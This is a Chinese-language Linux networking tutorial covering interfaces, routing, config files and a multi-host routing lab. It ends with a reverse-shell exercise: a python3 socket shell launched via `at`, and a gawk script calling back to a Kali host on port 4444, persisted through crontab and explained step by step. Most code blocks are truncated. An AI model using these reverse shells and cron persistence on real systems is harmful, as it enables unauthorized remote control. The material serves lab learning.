Linux网络管理
一、基本概念
物理网卡(NIC, Network Interface Card)
- 硬件实体:插在主板或扩展槽上的设备(如 Intel千兆网卡、Realtek 无线网卡)。
- 功能:
- 负责物理层(PHY)信号传输(如电信号、光信号)。
- 支持数据链路层(MAC 地址、帧封装)的基础操作。
网络适配器(Adapter)
- 软件抽象:Windows 系统中驱动程序与服务的集合,管理网卡硬件。
- 功能:
- 加载网卡驱动,提供 API 接口供操作系统调用。
- 处理网络协议(如 TCP/IP)、虚拟化支持(如 Hyper-V 的虚拟网卡)。
- 在设备管理器中显示为“网络适配器”条目。
linux中常见网络接口类型
| 接口类型 | 作用 | 示例 |
|---|---|---|
| 物理接口 | 绑定物理网卡,命名格式 ethX (传统) 或 enpXsY (一致性命名) |
eth0, enp3s0 |
| 虚拟接口 | 纯软件实现的逻辑接口 | |
├── lo (环回) |
本地通信,固定 IP 127.0.0.1 |
lo |
├── veth (虚拟对) |
成对出现,连接容器/网络命名空间 | veth0-peer |
├── tun/tap |
用户空间网络隧道(VPN/虚拟化) | tun0, tap0 |
| 绑定接口 | 多网卡聚合提升带宽或冗余 | |
├── bondX |
内核模式链路聚合 | bond0 |
├── teamX |
更灵活的聚合方案(用户态驱动) | team0 |
| 桥接接口 | 模拟物理交换机,连接多个接口 | br0, virbr0 |
| VLAN 接口 | 基于 802.1Q 的虚拟子网接口 | eth0.10 (VLAN 10) |
| 无线接口 | 无线网卡驱动生成的接口 | wlan0, wlp4s0 |
Windows中的“网络适配器分类”
| 类型 | 说明 | 应用场景 |
|---|---|---|
| 物理适配器 | 管理真实网卡硬件 | 服务器物理网卡 |
| 虚拟适配器 | 纯软件实现的逻辑接口 | |
| ├── Hyper-V 虚拟交换机 | 连接虚拟机与物理网络 (类似 Linux bridge) |
虚拟机网络 |
| ├── WSL 虚拟适配器 | 为 Linux 子系统提供网络栈 | WSL 2 网络 |
| ├── VPN 适配器 | 创建加密隧道 (如 L2TP/IPsec) | 远程访问 |
| 团队适配器 | 将多块物理网卡聚合成单一逻辑接口 | 带宽叠加/故障转移 |
linux路由
1. 核心概念
- 路由表:存储目标网络与下一跳的映射关系,默认表
main。 - 默认网关:目标
0.0.0.0/0的路径,用于未知流量转发。
2. 关键操作
# 查看路由表 |
3. 高级路由
策略路由:基于源 IP/端口等条件选择不同路由表
ip rule add from 192.168.5.100 lookup custom_table
ip route add default via 10.8.0.1 table custom_table多网关负载均衡:结合
ip route与iptables标记实现流量分流。
关键工具
| 功能 | 命令 | 用途 |
|---|---|---|
| 接口配置 | ip link, ifconfig (旧) |
查看/设置接口状态 |
| IP 地址管理 | ip addr, ifconfig |
分配 IP 地址 |
| 路由操作 | ip route, route |
管理路由表 |
| 邻居表 (ARP) | ip neigh, arp |
查看 MAC 地址缓存 |
| 网络诊断 | ping, traceroute, mtr |
连通性测试与路径跟踪 |
| 高级工具 | ethtool (网卡参数) |
查看链路状态、协商模式等 |
ss (替代 netstat) |
监控连接与端口 |
Linux 网络配置方法
| 类型 | 生效时间 | 持久性 | 适用场景 |
|---|---|---|---|
| 命令行配置 | 立即生效 | 重启后失效 | 临时调试、快速验证 |
| 文件配置 | 需重启网络服务 | 永久生效 | 生产环境、服务器固化管理 |
| NetworkManager | 立即生效 | 自动持久化 | 桌面环境、动态网络管理 |
命令行配置(临时生效)
1. 基础工具集 (iproute2)
# 查看所有接口 |
2. 传统工具 (net-tools)
# 启用接口 |
3. DNS 临时配置
# 修改DNS解析(立即生效,重启失效) |
文件配置(永久生效)
1. 通用配置文件
| 文件路径 | 作用 | 示例内容 |
|---|---|---|
/etc/network/interfaces |
Debian/Ubuntu 主配置文件 | auto eth0 iface eth0 inet static address 192.168.1.100 netmask 255.255.255.0 gateway 192.168.1.1 |
/etc/sysconfig/network-scripts/ifcfg-eth0 |
RHEL/CentOS 接口配置 | DEVICE=eth0 BOOTPROTO=static IPADDR=192.168.1.100 NETMASK=255.255.255.0 GATEWAY=192.168.1.1 ONBOOT=yes |
/etc/resolv.conf |
DNS 解析配置 | nameserver 8.8.8.8 nameserver 1.1.1.1 |
/etc/hosts |
本地主机名解析 | 192.168.1.100 myserver.lo |
服务重启命令
# Debian/Ubuntu |
NetworkManager 工具集
1. nmcli (命令行)
# 查看连接 |
2. nmtui (文本界面)
sudo nmtui # 启动交互式配置界面 |
3. 图形界面 (桌面环境)
- GNOME:
gnome-control-center network - KDE:
kcmshell5 networkmanagement
发行版差异配置
Debian/Ubuntu
# DHCP 配置示例 (/etc/network/interfaces) |
RHEL/CentOS
# 静态IP配置 (/etc/sysconfig/network-scripts/ifcfg-eth0) |
Arch Linux
# 使用 netctl |
路由实验
实验拓扑

配置ip
Windows
设置网络适配器

配置IP

kali
设置网络适配器

进入系统后首先备份配置文件
┌──(root㉿kali)-[~/Desktop] |

编写新配置文件
┌──(root㉿kali)-[~/Desktop] |

重启服务并查看配置是否成功
┌──(root㉿kali)-[~/Desktop] |

CentOS
设置网络适配器

进入系统后首先备份配置文件
[root@wickt 桌面]# mv /etc/sysconfig/network-scripts/ifcfg-ens160 /etc/sysconfig/network-scripts/ifcfg-ens160.back |

接着创建新配置文件并修改
[root@wickt 桌面]# vim /etc/sysconfig/network-scripts/ifcfg-ens160 |
完成配置后重启服务
[root@wickt 桌面]# nmcli connection reload |



测试连通性
Win10主机与网关CentOS 8 的 ens160 网卡的通信

kali主机与网关CentOS 8 的 ens192 网卡的通信

kali主机与Win10主机的连通性测试

设置路由转发
修改/proc/sys/net/ipv4/ip_forward文件
[root@wickt 桌面]# cat /proc/sys/net/ipv4/ip_forward |

再次测试kali主机与Win10主机的连通性

反弹shell测试
测试反弹shell能否运行
# kali |

反弹shell法一
使用python3
创建一次性计划任务
[root@wickt ~]# at now + 1 minutes |
- 导入必要的模块:
socket(网络),subprocess(进程),os(系统操作),pty(伪终端,用于获得更交互式的 shell)。 - 创建 TCP 套接字并连接到 Kali。
os.dup2(s.fileno(),0/1/2): 将网络连接的文件描述符复制到标准输入(0)、输出(1)、错误(2)。pty.spawn("/bin/bash"): 生成一个新的 bash 进程,并通过伪终端与其交互,这样能获得一个功能更全的交互式 shell (支持命令历史、作业控制等)。如果只需要基础 shell,可以简化为subprocess.call(["/bin/bash", "-i"])。

kali主机显示测试

反弹shell法二
# 首先编写脚本文件 |
接着创建周期计划任务
[root@wickt 桌面]# crontab -l |
关键组件解析:
BEGIN块:- 这是
awk的初始化块,在读取任何输入文件之前执行 - 我们使用
/dev/null作为输入文件,因为不需要处理实际文件
- 这是
建立连接:
s = "/inet/tcp/0/[Kali_IP]/4444"
- 这是
gawk(GNU awk) 特有的网络功能 - 创建一个 TCP 套接字连接到 Kali 的 IP 和端口
s成为这个连接的标识符
- 这是
主循环:
while(1) { ... } # 无限循环保持连接
命令处理循环:
do { ... } while(c != "exit")
- 持续处理命令,直到收到 “exit”
发送提示符 & 接收命令:
printf "shell> " |& s; # 发送提示符到Kali
s |& getline c; # 从Kali读取命令到变量c执行命令 & 返回结果:
if(c) {
while ((c |& getline) > 0)
print $0 |& s;
close(c);
}- 这是最复杂的部分:
c |& getline:将变量c的内容作为系统命令执行while (... > 0):逐行读取命令输出print $0 |& s:将每行输出发送回 Kaliclose(c):关闭命令管道
- 这是最复杂的部分:
退出处理:
} while(c != "exit") # 如果收到"exit"则退出循环
close(s);
kali验证

